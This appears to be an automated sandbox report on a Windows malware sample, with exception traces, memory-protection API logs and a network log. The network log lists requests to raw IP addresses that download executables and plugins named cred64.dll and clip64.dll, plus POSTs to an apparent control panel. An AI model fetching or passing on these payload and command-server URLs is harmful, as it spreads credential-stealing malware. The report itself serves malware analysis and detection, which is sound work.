NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x754d414b
ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x75b3fe14
StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x75c6a338
IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x7532e99f
IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x753072ed
RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x752fab0d
GetIUriPriv2+0x603 CoInternetIsFeatureEnabledForIUri-0xdf6 urlmon+0x1ea98 @ 0x752fea98
RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x752f87f7
CopyStgMedium+0x286 FindMediaType-0x70d urlmon+0x1ba32 @ 0x752fba32
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4
DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x755f7bca
CreateAsyncBindCtx+0xb2f URLDownloadToCacheFileW-0x54c urlmon+0x4516f @ 0x7532516f
CreateAsyncBindCtx+0xa8e URLDownloadToCacheFileW-0x5ed urlmon+0x450ce @ 0x753250ce
RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x752fa0d8
RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x752f9b85
RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x752f9aa8
CreateAsyncBindCtx+0xccc URLDownloadToCacheFileW-0x3af urlmon+0x4530c @ 0x7532530c
URLDownloadToCacheFileW+0xe5 CoInternetIsFeatureZoneElevationEnabled-0x2c18 urlmon+0x457a0 @ 0x753257a0
DllCanUnloadNow+0xcfc8 IEAssociateThreadWithTab-0x294dd ieframe+0x2540c @ 0x729b540c
DllCanUnloadNow+0xce86 IEAssociateThreadWithTab-0x2961f ieframe+0x252ca @ 0x729b52ca
CreateExtensionGuidEnumerator+0x5d622 SetQueryNetSessionCount-0x15f9a ieframe+0x100ea3 @ 0x72a90ea3
RtlGetUserInfoHeap+0x225 RtlQueueWorkItem-0x210 ntdll+0x67e96 @ 0x77907e96
TpCallbackIndependent+0x527 RtlIsCriticalSectionLockedByThread-0x240 ntdll+0x454f4 @ 0x778e54f4
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 71818224
registers.edi: 1974991376
registers.eax: 71818224
registers.ebp: 71818304
registers.edx: 1
registers.ebx: 5460556
registers.esi: 2147746133
registers.ecx: 2082696782
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489052
registers.edi: 11362444
registers.eax: 0
registers.ebp: 2489080
registers.edx: 2
registers.ebx: 40579916
registers.esi: 5
registers.ecx: 40579916
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489052
registers.edi: 2489052
registers.eax: 0
registers.ebp: 2489080
registers.edx: 0
registers.ebx: 10773018
registers.esi: 0
registers.ecx: 2489260
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489052
registers.edi: 2489052
registers.eax: 0
registers.ebp: 2489080
registers.edx: 0
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489260
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489052
registers.edi: 2489052
registers.eax: 0
registers.ebp: 2489080
registers.edx: 2
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489260
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489052
registers.edi: 2489052
registers.eax: 0
registers.ebp: 2489080
registers.edx: 0
registers.ebx: 10773018
registers.esi: 0
registers.ecx: 2489260
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bcb9e @ 0xadcb9e
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489052
registers.edi: 2489052
registers.eax: 0
registers.ebp: 2489080
registers.edx: 2
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489260
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfb4a @ 0xadfb4a
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489004
registers.edi: 11362444
registers.eax: 0
registers.ebp: 2489032
registers.edx: 2
registers.ebx: 5832704
registers.esi: 10027008
registers.ecx: 10027008
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfb4a @ 0xadfb4a
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 0
registers.ebx: 10773018
registers.esi: 0
registers.ecx: 2489040
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfb4a @ 0xadfb4a
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 2
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489040
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfcf8 @ 0xadfcf8
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489004
registers.edi: 11362444
registers.eax: 0
registers.ebp: 2489032
registers.edx: 2
registers.ebx: 5832704
registers.esi: 10027008
registers.ecx: 2489032
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfcf8 @ 0xadfcf8
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 0
registers.ebx: 10773018
registers.esi: 0
registers.ecx: 2489040
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfcf8 @ 0xadfcf8
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 0
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489040
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfdf2 @ 0xadfdf2
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489004
registers.edi: 11362444
registers.eax: 0
registers.ebp: 2489032
registers.edx: 2
registers.ebx: 5832704
registers.esi: 10027008
registers.ecx: 3081205410
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfdf2 @ 0xadfdf2
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x126204
exception.instruction: ud2
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0xa46204
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 2
registers.ebx: 10773018
registers.esi: 0
registers.ecx: 2489040
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfe88 @ 0xadfe88
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489004
registers.edi: 11362444
registers.eax: 0
registers.ebp: 2489032
registers.edx: 0
registers.ebx: 5832704
registers.esi: 10027008
registers.ecx: 1595858424
1 0 0

__exception__

 stacktrace: 
n6p8x5rop5bchcdpw23f+0x1bfe88 @ 0xadfe88
n6p8x5rop5bchcdpw23f+0x1bddff @ 0xadddff
n6p8x5rop5bchcdpw23f+0x1498dc @ 0xa698dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: n6p8x5rop5bchcdpw23f+0x1261d9
exception.instruction: div eax
exception.module: n6P8X5rop5bCHCDpw23f.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0xa461d9
registers.esp: 2489004
registers.edi: 2489004
registers.eax: 0
registers.ebp: 2489032
registers.edx: 0
registers.ebx: 10772975
registers.esi: 0
registers.ecx: 2489040
1 0 0
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/go.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/go.exe
suspicious_features Connection to IP address suspicious_request HEAD http://185.215.113.68/mine/amer.exe
suspicious_features Connection to IP address suspicious_request GET http://185.215.113.68/mine/amer.exe
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/nika.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/nika.exe
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.215.113.68/theme/index.php
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/vimu.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/vimu.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.172.128.19/latestrocki.exe
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/networ.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/networ.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://87.251.77.166/SetupPowerGREPDemo.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.215.113.68/theme/Plugins/cred64.dll
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.215.113.68/theme/Plugins/clip64.dll
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.109/syncUpd.exe
request HEAD http://109.107.182.3/cost/go.exe
request GET http://109.107.182.3/cost/go.exe
request HEAD http://185.215.113.68/mine/amer.exe
request GET http://185.215.113.68/mine/amer.exe
request HEAD http://109.107.182.3/cost/nika.exe
request GET http://109.107.182.3/cost/nika.exe
request POST http://185.215.113.68/theme/index.php
request HEAD http://109.107.182.3/cost/vimu.exe
request GET http://109.107.182.3/cost/vimu.exe
request GET http://185.172.128.19/latestrocki.exe
request HEAD http://109.107.182.3/cost/networ.exe
request GET http://109.107.182.3/cost/networ.exe
request GET http://87.251.77.166/SetupPowerGREPDemo.exe
request GET http://185.215.113.68/theme/Plugins/cred64.dll
request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
request GET http://185.215.113.68/theme/Plugins/clip64.dll
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET http://185.172.128.109/syncUpd.exe
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request GET https://db-ip.com/demo/home.php?s=175.208.134.152
request GET https://accounts.google.com/
request GET https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F
request GET https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp0prvDtaojbUs_fFiN9b9CD7hkEJ1nHDhTfd9vIUqM3YxyI4uMpGixUZhaFGRKzHsJvSPCU
request GET https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp19ppAsRv2o6lyozUloXtl2vtHTQ_Z5hQtp6-dWz_Yb_d5Sog8ygYecStquNLy1xgWdXfMz&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-955853393%3A1705964159222861
request GET https://accounts.google.com/_/bscframe
request GET https://ssl.gstatic.com/images/branding/googlelogo/2x/googlelogo_color_74x24dp.png
request GET https://accounts.google.com/favicon.ico
request GET https://www.google.com/favicon.ico
request GET https://accounts.google.com/generate_204?dNjB8g
request POST http://185.215.113.68/theme/index.php
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 2936832
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ef0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00770000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ef4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 147456
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ef4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f34000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 475136
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1792
region_size: 114688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00f38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2724
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2776
region_size: 15405056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aa0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2776
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03950000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73423000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c7000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76af9000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75ac2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75602000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2776
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02f30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x713e1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 6950912
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02270000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

